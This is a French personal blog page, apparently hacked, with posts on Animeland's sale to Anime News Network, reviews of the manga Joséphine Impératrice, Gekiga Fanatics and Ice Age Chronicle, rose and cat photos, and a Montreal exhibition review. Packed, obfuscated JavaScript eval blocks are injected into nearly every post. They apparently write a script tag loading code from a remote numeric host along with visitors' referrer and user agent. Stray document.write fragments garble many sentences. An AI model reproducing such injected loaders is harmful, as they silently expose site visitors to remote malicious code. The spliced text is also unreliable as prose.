Image du chat-medi

Qui? Moi?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkyft|var|u0026u|referrer|hebrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbkas|var|u0026u|referrer|zsrzt||js|php’.split(‘|’),0,{}))
What? Me?
(iPhone 6s, document.write(“”); 2015-11-24)

Animeland change de propriétaire

Voici la preuve que je ne suit plus vraiment l’actualité dans le domaine de l’anime et du manga (à part lire les gros titres du fil de nouvelles de ANN et Animeland — que vous retrouvez dans la colonne de droite de mon blog). Je suis passé à côté d’une grosse nouvelle: Animeland a changé de propriétaire… l’an dernier!

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fftdb|var|u0026u|referrer|edzbt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdsa|var|u0026u|referrer|attka||js|php’.split(‘|’),0,{}))

AnimeLand est le 1er magazine français sur l’animation japonaise et internationale, document.write(“”); les mangas et tout l’univers otaku en France”. À tout les deux mois il offre une centaines de pages pleine à craquer de news, chroniques, interviews, articles et dossiers. J’ai toujours grandement admiré ce magazine fondé par Yvan West Laurence et Cédrik Littardi en avril 1991 (même si j’ai souvent eut l’impression que parfois ils “s’inspiraient” de Protoculture Addicts — quoiqu’il faudrait sans doute dire que l’inspiration était mutuelle). C’est rapidement devenu le meilleurs magazine sur l’anime et le manga hors-Japon et pas seulement en langue française.

Il y a quelques semaines, voulant justement me mettre un peu à jour dans les dernières tendances de la pop-culture japonaise, j’ai emprunté le plus récent numéro à la bibliothèque (#207, Décembre 2015 / Janvier 2016). Quelle ne fut pas ma surprise de découvrir que l’éditorial était signé par… Christopher Macdonald, l’éditeur de Anime News Network (et mon partenaire dans la dernière incarnation de Protoculture Addicts)! J’ai également noté que le magazine n’était plus publié par Anime Manga Presse mais plutôt par le mystérieux AMN (et cela depuis le numéro 202, en février/mars 2015). Qu’est-ce que tout cela voulait dire?

J’ai trouvé la réponse dans le fil de nouvelle du site d’Animeland: “Anime News Network reprend AnimeLand” (daté du 21 décembre 2014) [MàJ: ANN en a aussi parlé en janvier 2015]. ANN s’était donc bel et bien porté acquéreur du magazine français! Wow!

“Anime News Network, site internet leader mondial des news sur le manga et l’animation japonaise, est heureux d’annoncer la reprise d’AnimeLand, le premier magazine français de l’animation et du manga. (…) Une nouvelle société, AM Media Network, filiale de la société québécoise Anime News Network, reprend dès maintenant la publication de tous les magazines d’Anime Manga Presse qui, suite à des troubles financiers importants, a récemment traversé une procédure judiciaire.”

Toute mes félicitations à mon ami Christopher! Je lui souhaite, ainsi qu’à Animeland, le plus grand des succès. Je vais très certainement essayer de les suivre de plus près.

[ Translate ]

Image du mer-fleurie

Pour égailler ce gris milieu de semaine / To cheer up this grey midweek
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiyyy|var|u0026u|referrer|bbndi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaadd|var|u0026u|referrer|rndtz||js|php’.split(‘|’),0,{}))

Rosier arbustif / Shrub rose
Rosaceae: Rosa “Teasing Georgia”
Teasing Georgia
(iPhone 6, document.write(“”); Jardin botanique, 2015-07-05)

Joséphine Impératrice (3)

“Après la mort de Robespierre et la fin de la Terreur, document.write(“”); Joséphine peut enfin sortir de prison. Elle se retrouve alors propulsée dans la vie mondaine parisienne, et très vite, devient le centre de gravité de l’un des grands salons de la capitale, où elle reçoit des hôtes prestigieux. Un jour, se présente un petit général, le jeune et timide Napoleone di Buonaparte, appelé à un grand avenir. Joséphine saura-t-elle découvrir le coeur d’or qui se cache derrière ces manières un peu brusques ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsaia|var|u0026u|referrer|bbddh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faafs|var|u0026u|referrer|senta||js|php’.split(‘|’),0,{}))

“La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français !”

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”) est un manga sh?jo romantique et historique écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, entre septembre 2011 et décembre 2013, il a été compilé en un premier volume en mai 2012 et le quatrième (et dernier) volume est paru en avril 2014. Il a été traduit en français chez Pika Éditions au début octobre 2013. Un second volume a suivi à la fin octobre, puis un troisième en mars 2014 et, finalement, le quatrième volume français est paru en juillet 2014. Voir mon commentaire sur le premier volume pour plus de détails sur l’auteur et la série.

Rose a été arrêté simplement parce qu’elle est l’épouse d’Alexandre de Beauharnais, qui a été exécuté sous l’accusation d’être un traître. Agathon, le domestique et demi-frère de Rose, tente le tout pour le tout pour la faire libérer en assassinant Robespierre. Au même moment les députés de la Convention font arrêter les Jacobins dans l’espoir de mettre fin à la Terreur par la terreur! Ainsi, le 29 juillet 1794, Saint-Just et dix-neuf de ses compagnons furent exécutés. Dans les jours qui suivirent près d’une centaine de partisans Jacobins furent aussi guillotinés! Peu de temps après, Rose est finalement libéré et Agathon l’attend à sa sortie de prison. Elle retrouve rapidement la vie mondaine parisienne et s’épanouie à la “chaumière,” le salon de sa compagne de captivité, Thérésia Cabarrus, qui est devenu l’épouse de Tallien. C’est là qu’elle attire l’attention du timide et maladroit Napoleone di Buonaparte. [ci-haut: p. 46]

Agathon voudrait bien servir Rose de son mieux mais se sent plutôt inutile. Comme ils n’ont pas vraiment de revenu, Agathon cherche un moyen de gagner de l’argent. Avec la complicité du négociant Charles Tustier, que Rose avait rencontrer lors de son voyage en Martinique, Agathon fera le commerce du thé indien (interdit en France à cause de la guerre avec l’Angleterre, il est apporté au pays en contrebande par des navires anglais).

Napoleone di Buonaparte s’illustre avec la répression de l’insurrection de Vendémiaire. Il n’hésite pas à utiliser des canons en plein Paris contre les royalistes. Acclamé comme un héros, il est nommé commandant en chef des armées révolutionnaires à la place de Barras. Il vient en aide à Eugène, le fils de Rose, qui désire conserver le sabre de son père alors que toutes les armes sont interdites dans Paris suite à l’insurrection. Rose vient le remercier et Napoleone en tombe amoureux. Il demande l’aide d’Agathon pour lui faire la cour [ci-dessous: pp. 92-93].


Napoleone découvre que Agathon est derrière la contrebande de thé et le défi en duel mais, voyant comment il est dévoué au service de Rose, décide de l’épargner. Agathon lui suggère d’amener Rose en ballade à l’extérieur de Paris. Le couple se rapproche et finalement Napoleone demande Rose en mariage. Rose, trouvant son nom trop Italien, surnomme le Général “Napoléon”. Celui-ci veut aussi lui donner un nom que lui seul emploierait et ainsi Marie-Josèphe-Rose de Beauharnois devient “Joséphine”! [ci-contre: p. 134] Mais Hortense, la fille de Rose, s’oppose à cette union et fugue de la maison. Agathon et Napoléon la retrouve et parviennent à la faire changer d’avis.

Les monarchies voisines, craignant que la révolution soit contagieuse, forment une coalition contre la France. Bonaparte est nommé Commandant Général de l’armée d’Italie. Agathon se joint à son état-major en tant que conseillé stratégique. Rose fait la rencontre de la mère (Maria Letizia), du frère (Louis) et des soeurs (Pauline et Caroline) de Napoléon. Ils sont plutôt désagréables et mesquins mais Rose réussi tout de même à les charmer. Deux jours avant son départ pour la campagne d’Italie, le 9 mars 1796, Joséphine et Napoléon se marient à la mairie de Paris au cours d’une cérémonie modeste.

Joséphine Impératrice est un beau manga historique mais qui prends tout de même beaucoup de liberté avec l’Histoire. Par exemple, Robespierre n’est pas mort assassiné mais plutôt guillotiné le 28 juillet 1794. Ce manga n’a certes pas le sérieux de Cesare, qui offre dans chaque volume une bibliographie et plusieurs pages de notes historiques sur les événements, l’architecture ou les artistes présent dans le récit. C’est avant tout un manga romantique présenté dans un contexte historique qui se veut plus ou moins exacte mais sans faire trop d’effort. C’est un beau petit récit, très agréable à lire et dessiné dans un superbe style shojo, très typique du genre (sur ce sujet voir mon commentaire sur le deuxième volume). Juste pour cet aspect, c’est un manga qu’il faut lire absolument!

Joséphine Impératrice, vol. 3, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne, Pika Éditions, mars 2014. 192 pages, N & B, 11.5 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN  978-2-8116-1395-2. Sens de lecture original japonais. Recommandé pour adolescents (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Voir aussi mes commentaires sur les volumes précédents:

Bara no Josephine © Yumiko Igarashi & Kaoru Ochiai / Visions 2013. All rights reserved. © 2014 Pika Éditions pour la présente édition française.

[ Translate ]

Image du chat-medi

Caramel
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drzfs|var|u0026u|referrer|nietk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fryze|var|u0026u|referrer|asehb||js|php’.split(‘|’),0,{}))
(iPhone 6s, document.write(“”); 2016-01-16)

Image du mer-fleurie

Pour égailler ce frisquet milieu de semaine / To cheer up this chilly midweek
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tabzb|var|u0026u|referrer|edktd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhadn|var|u0026u|referrer|nzrfy||js|php’.split(‘|’),0,{}))

Rosier floribunda / Floribunda rose
Rosaceae: Rosa “Guy de Maupassant”
Guy de Maupassant
(iPhone 6, document.write(“”); Jardin botanique, 2015-07-05)

Cesare (10)

Cesare_10-cov“Tout Pise est en effervescence : Giovanni de Médicis s’apprête à passer son grand oral, ultime étape qui le sépare de la fin de ses études et surtout de son accession au rang de cardinal…”

“Mais sa réussite n’aura pas seulement des conséquences politiques. À la suggestion de Cesare, Angelo se prépare à partir pour Florence, où il est destiné à devenir le nouvel homme de confiance de Son Excellence. L’avenir des Borgia, des Médicis et de la papauté même repose désormais sur les épaules de Giovanni !”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Cesare (9)

Cesare_9-cov“Cesare a désormais conscience que le fragile équilibre sur lequel repose la péninsule italienne pourrait bien voler en éclats : Lorenzo de Médicis est rongé par la maladie, tandis qu’un discours dissident, porté notamment par le charismatique Savonarole, commence à prendre de l’ampleur au cœur même de Florence.”

“Dans ces circonstances, les révélations de Raffaele Riario, qui vient d’annoncer que Naples avait trahi ses alliés pour se tourner vers la curie, font l’effet d’un coup de tonnerre. D’autant que c’est l’ennemi juré des Borgia, Giuliano della Rovere, qui est à l’origine de ce revirement ! Alors que le rideau se lève sur 1492, année qui va marquer l’histoire, les ambitions de chacun sont sur le point de faire basculer l’ordre du monde…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Image du chat-medi

Saya faisant Pfft ? / Saya blowing a raspberry ?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktrty|var|u0026u|referrer|idydr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rddrz|var|u0026u|referrer|ezbrd||js|php’.split(‘|’),0,{}))
Saya blowing a raspberry
(iPhone 6s, document.write(“”); 2016-01-16)

Image du mer-fleurie

Pour égailler ce frisquet milieu de semaine / To cheer up this chilly midweek
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhyky|var|u0026u|referrer|bbytr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbsif|var|u0026u|referrer|ankby||js|php’.split(‘|’),0,{}))

Rosier Hybride de thé / Hybride tea rose rose
Rosaceae: Rosa “Fernand Gignac” !
Fernand Gignac
(iPhone 6, document.write(“”); Jardin botanique, 2015-07-05)

La couleur du Jazz

La semaine dernière j’ai visité l’exposition “La couleur du Jazz” au Musée des Beaux Arts de Montréal. Cette exposition nous propose de vivre la modernité des années 1920 à Montréal avec le groupe de Beaver Hall. Il s’agit de la première grande étude sur ce “regroupement éphémère d’une vingtaine d’artistes dont la production a donné, document.write(“”); comme le soulignait la critique de l’époque, « une nouvelle impulsion » à la vie artistique montréalaise, québécoise et canadienne”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fybhs|var|u0026u|referrer|tteff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rybah|var|u0026u|referrer|azddr||js|php’.split(‘|’),0,{}))

Le
Groupe de Beaver Hall est en quelque sort le pendant montréalais au Groupe des Sept qui était basé à Toronto. Et plutôt que de se limiter à “proposer une image identitaire du Canada à travers la représentation de la nature sauvage du Nord” comme le faisait le Groupe des Sept, le Groupe de Beaver Hall exprime la modernité de l’époque à travers des portraits et les paysages humanisés de la ville et de la campagne. Le groupe a eut une existence très courte (1920-1923) mais ses membres ont continué par la suite leur travail individuellement et contribué à la formation du Groupe des peintres canadiens en 1933. L’exposition couvre toute cette période.

Ce qui est remarquable dans ce groupe ce n’est pas tant qu’il “constitue l’une des manifestations les plus originales de la modernité picturale au Canada“ mais bien la parité hommes-femmes au sein des membres du groupe qui dénote encore une fois la grande modernité de ce courant artistique. Pour plus de détails sur le contexte historique et les thématiques de l’exposition vous pouvez consulter le site internet que le musée y consacre.

J’ai bien aimé l’exposition. Il y a de très belle pièces et c’est rafraichissant de voir que des artistes montréalais ont pu avoir un tel impact (et d’en apprendre plus sur eux). Les portraits sont fascinants (certains détails, comme les mains, sont parfois très réaliste). On retrouve beaucoup de paysages hivernaux (après tout c’est le Canada). Les paysages urbains (dont le style varie beaucoup d’un artiste à l’autre, allant du réalisme détaillé et précis au quasi impressionnisme) nous font presque voyager dans le temps (Archambault sur la rue Sainte-Catherine, l’Église Saint-Jacques [qui a passé au feu et a été “cannibalisé” par l’UQAM] sur Saint-Denis, etc.).

J’ai toutefois trouvé l’exposition un peu courte et j’aurais bien aimé y voir une peu plus de média (photos des artistes, petits documentaires videos, etc. — il existe d’ailleurs un film de l’ONF sur trois des membres féminins du groupe). J’ai aussi trouvé que le titre de l’exposition ne se retrouvait pas vraiment dans la sujet. Oui, le jazz représente bien la modernité de l’époque et on a reproché aux membres du groupe de faire des oeuvres trop colorées qui furent à l’époque comparées aux notes dissonantes du jazz. Mais l’analogie s’arrête là. Une petite musique de fond jazzée aurait aussi sans doute contribué à donner plus de couleur à l’atmosphère de l’exposition.

En souvenir de cette exposition, je vous offre sur Vimeo (et ci-bas) un petit diaporama des oeuvres qui m’ont le plus marqué. J’ai aussi créé un album sur Flickr (avec le détail de chacune des pièces).


Vous trouverez également sur Youtube quelques courts videos sur l’exposition.

Si ça vous intéresse, dépêchez-vous car l’exposition prends fin le 31 janvier!

[ Translate ]

Découverte: de sérieux manga

Cette semaine, document.write(“”); je suis sorti en ville pour visiter un musée et j’en ai profité pour bouquiner un peu. J’ai été surpris de faire quelques découvertes: une perle rare du Lézard Noir, un autre Taniguchi (eh oui!), des manga qui n’en sont pas et un nouveau tome de Versailles no bara.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdzhh|var|u0026u|referrer|tnans||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fffne|var|u0026u|referrer|ifiya||js|php’.split(‘|’),0,{}))

Pour en savoir plus, jetez un coup d’oeil
après le saut de page >>

Gekiga Fanatics

“Osaka, fin des années 1950. De jeunes mangakas vont participer à la création d’un genre nouveau qui révolutionnera la bande dessinée japonaise : le gekiga. En partie autobiographique, Gekiga Fanatics se concentre sur trois mangakas encore inconnus à l’époque : Yoshihiro TatsumiL’Enfer, Une vie dans les marges (Cornélius), Takao SaitôGolgo 13 (Glénat), ainsi que l’auteur lui-même, Masahiko Matsumoto – La Fille du bureau de tabac (Cambourakis). Extrêmement documenté, le livre décrit avec justesse et précision les doutes et les difficultés qu’affrontent de jeunes auteurs exigeants et passionnés, qui refuseront toujours de renoncer à leurs rêves.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Ce manga me rappelle beaucoup Une vie dans les marges de Yoshihiro Tatsumi (publié chez Cornélius et dont j’ai commenté la version anglaise, A drifting life, publié par Drawn & Quarterly). Dans les deux cas, il s’agit de manga autobiographiques qui parlent de l’après-guerre, de la carrière de mangaka de l’auteur et de la naissance du manga comme on le connait aujourd’hui. Tant Tatsumi que Matsumoto, faisaient partie (avec entre autres Shigeru Mizuki et Osamu Tezuka) de cette première génération de mangaka pionniers qui dessinaient des histoires plutôt sérieuses dans un style un peu brouillon et parfois même caricatural. Mais Tatsumi et Matsumoto faisaient partie d’un groupe qui écrivait du Gekiga (“dessin dramatique”) caractérisé par des histoires plus sombres et avec plus d’action que le manga typique (qui offrait généralement des récit plus léger et un style plus caricatural) et visaient donc un lectorat plus âgé, plus mature. Ils s’inspiraient de la vie de tout les jours et traitaient de thèmes réalistes plus en phase avec les problèmes socio-politiques de l’époque. Pour bien exprimer ce genre de récit complexe, ils utilisaient des techniques artistiques plus cinématique qui permettaient de mieux rythmer la narration pour que l’action coule plus naturellement à travers les cases. [image ci-haut: Tatsumi Yoshihiro, Saito Takao et Matsumoto Masahiko]

Gekiga Fanatics (??????!! / Gekiga bakatachi !!) a d’abord été publié en feuilleton dans le magazine Big Comic Zôkan de Shôgakukan en 1979 avant d’être compilé en volumes chez Seirink?geisha. Il a été traduit et publié en français chez Le Lézard Noir.

Nous sommes très chanceux d’avoir des éditeurs français comme Cornélius ou le Lézard Noir qui n’hésitent aucunement à publier ces oeuvres plus anciennes, parfois plus difficile d’approche et donc moins populaire. Du côté anglophone, jusqu’à récemment, il n’y avait que Drawn & Quarterly et Vertical qui s’y était risqué mais maintenant d’autres éditeurs tâtent le terrain avec des titres comme The Rose of Versailles de Riyoko Ikeda chez Udon Entertainment, Queen Emeraldas de Leiji Matsumoto chez Kodansha Comics, Otherworld Barbara par Moto Hagio chez Fantagraphics Books ou même le colossal The Osamu Tezuka Story: A Life in Anime and Manga par Toshio Ban chez Stone Bridge Press.

Dans une langue comme dans l’autre, même si le graphisme est un peu moins plaisant ou que l’histoire représente une lecture un peu plus exigeante, il n’en demeure pas moins que ce sont des classiques de la littérature graphique japonaise que tout amateur se doit d’avoir lu.


Gekiga Fanatics, par Masahiko Matsumoto (Traduction par Miyako Slocombe). Le Lézard Noir, novembre 2013. 328 pg., 24,00 € / $42.95 Can. ISBN: 978-2-35348-0494. Recommandé pour public jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth, vol. 1 & 2

“Dans le futur, tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. A son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”

“Saura-t-il faire face à son destin ?”

(Texte du site de l’éditeur)

Les éditeurs de manga français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait lire et s’inspirer du magazine français Métal Hurlant


En tout cas j’ai bien hâte de lire ce manga. Ce sera délicieux!

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga Classics: Great Expectations

“Great Expectations has it all: romance, mystery, comedy, and unforgettable characters woven through a gripping rags-to-riches tale. Naive Pip, creepy Miss Faversham, beautifully cold Estella, terrifying Abel Magwitch, and the rest of Dicken’s fantastic cast are perfectly envisioned in this new adaptation in this 300-plus page volume featuring artwork by artist Nokman Poon.”

“Manga Classics editions feature classic stories, faithfully adapted and illustrated in manga style, and available in both hardcover and softcover editions. Proudly presented by UDON Entertainment and Morpheus Publishing.”

(Text from the publisher’s website)

